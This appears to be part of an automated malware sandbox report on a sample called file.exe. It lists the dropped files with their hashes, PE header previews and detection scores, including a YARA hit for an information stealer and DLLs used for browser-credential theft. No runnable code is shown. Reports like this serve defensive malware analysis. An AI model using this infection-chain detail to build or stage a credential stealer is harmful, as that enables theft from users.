Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.362963955449177
Encrypted:	false
SSDEEP:	48:SfNaoQJTEQzfNaoQMQ9YfNaoQ/rgWrgCQ/rg6fNaoQMilrgc0UrU0U8Qa7:6NnQJTEQrNnQMQ2NnQ/DlQ/zNnQ750Ut
MD5:	4080BD7C8BFDC6FB3C4335C2ADB1F26A
SHA1:	CFF73A80E20C65B86333507E9C963E23BC4EF2CD
SHA-256:	6514856DDA7A2C944F545C98F030A6ECB54E98EDA1A31FFE0EF567706650A82B
SHA-512:	17B8382A4F015F5632E1F6DB4B1EF0E667082B3E3E0EC527CCB8EDC6B30D36539AD2C7035323700AF7223CC4979CAB36092ABE96F31C073B83194177C6A64EE5
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/789F6A3F41DDB329F142F9EAB561D0E4",.. "id": "789F6A3F41DDB329F142F9EAB561D0E4",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/789F6A3F41DDB329F142F9EAB561D0E4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/BC11199E05D303D2F0D191CEF14327D1",.. "id": "BC11199E05D303D2F0D191CEF14327D1",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/BC11199E05D303D2F0D191CEF14327D1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1907200
Entropy (8bit):	7.946960030008673
Encrypted:	false
SSDEEP:	49152:w8YEooKTY2GN5OxdxY50LK3VX/qi2VR9:8zoK0OxfYzVXSi2Vr
MD5:	F33C80D517734DD30771A89966179C74
SHA1:	DA1B46CDA41CA6D75753E2EFAEDB300D0A0EC6E9
SHA-256:	1DCC039596D3F58E24E1D12EE64D51EB569F157689C3CB6ADA3C2E932D314719
SHA-512:	BEEB262DB01C7754C88D78AB1DDB3E3D588EFEC05D5B253003645AE9060E3F728B08D6551DB0092D1ABE02CDA429C0B2CF8AEFC7A64C1E845685D61A6F7E3C77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Eg.............................`K...........@...........................K...........@.................................\...p....p.............................................................................................................. . .`.......\..................@....rsrc........p.......l..............@....idata .............n..............@... .@+..........p..............@...zzqvcapk......0......r..............@...wvrfktfy.....PK.....................@....taggant.0...`K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\1009384001\filer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26987008
Entropy (8bit):	6.688564756632582
Encrypted:	false
SSDEEP:	393216:sN/jPM/y7B3Zdp1uPGiSPWw1JDte23oZohZ:sN/wq7Vfp1uVS+w162Ph
MD5:	9096F57FA44B8F20EEBF2008A9598EEC
SHA1:	42128A72A214368618F5693DF45B901232F80496
SHA-256:	F4E2EEEA7E5DB511BFCA33FFD1E26BCE5D72E2A381E84BF3700938EB404F7934
SHA-512:	AD29F94040532AB78679EC9E50D58D8CCEF3F99D5AB53EF7C654527B9B2634DA4C44375B2CA2D54A83D1DD1E0FA9B1D1A13241FFE0328BEA07740166927521B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CerbfyneStealer, Description: Yara detected Cerbfyne Stealer, Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................'.\|....................@..........................................`... ......................................P..Y....`..h%...........0..,................[..........................@...(....................h...............................text....z.......\|..................`..`.data....!y......"y.................@....rdata..Pl.......n..................@..@.pdata..,....0......................@..@.xdata..hP.......R.................@..@.bss.........p...........................edata..Y....P.......@..............@..@.idata..h%...`...&...D..............@....CRT....`............j..............@....tls.................l..............@....reloc...[.......\...n..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\379f81b6-fb0f-436b-8e37-94e959311f7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\4d5be34d-2926-4fc1-adf1-187d64afc86e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\66ac8682-b19e-4ea6-800d-1498bcac09d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\741b92ed-e7bc-49d0-bead-15812ab0aba9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0d5kq0yv.4k0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2jzwn2io.vxi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fihh4an2.i3g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jo3kjzgu.kuu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfttn4bz.z2j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpsty543.lrr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r2oiorxm.1mq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x0fyl2se.j4o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsBGIJJKKJJD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904128
Entropy (8bit):	7.948826242474524
Encrypted:	false
SSDEEP:	49152:7Vel+D6aTiNJ68++EcPsRq+jkFSXc1wEoIJuL:7Yq723pEcmq+jhcqRL
MD5:	2063AD6746859BA2896E6D3BC7082FBC
SHA1:	F29D5BCA4A5C61BA291BE6CFF88A46D5AC3BABD0
SHA-256:	71D1727CEECA04F6DE46C377C3D94FE31DE439E31454E320A7823C9ACA1D82D5
SHA-512:	1F1CDAF3CACCED639F8D5E60A11ED515B52D7687032DD27BD41E0E42C15F2A226DBE4F8735F689A13DBB1EBA112DFEBBB237601E21AF65E7F1F4D08B21720AE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k.......D...................``K..............................`K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...cyvkeaon.....p1.....................@...yqnrhegl.....pK.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.397668902813234
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0Eyf5By8g0EyjT5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5n
MD5:	84397A50FEECE9A10EE0A4A6ED0C9AB4
SHA1:	2D24A2511A1F953ABAFEBE6139E2A0F63159C9CC
SHA-256:	27D20AAE3B1594A5298B66221EAA2F18D086DD77E5E0456A5FF6F0AF76642F4B
SHA-512:	A886A086821E8DF00B38BF7264B983A5517000E5AA78227ED4618390485832FFDEE448375C4F413F891270965462F8F77AC82B82D515AE0DCAABD2047F6AF53F
Malicious:	false
Reputation:	unknown
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\379f81b6-fb0f-436b-8e37-94e959311f7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
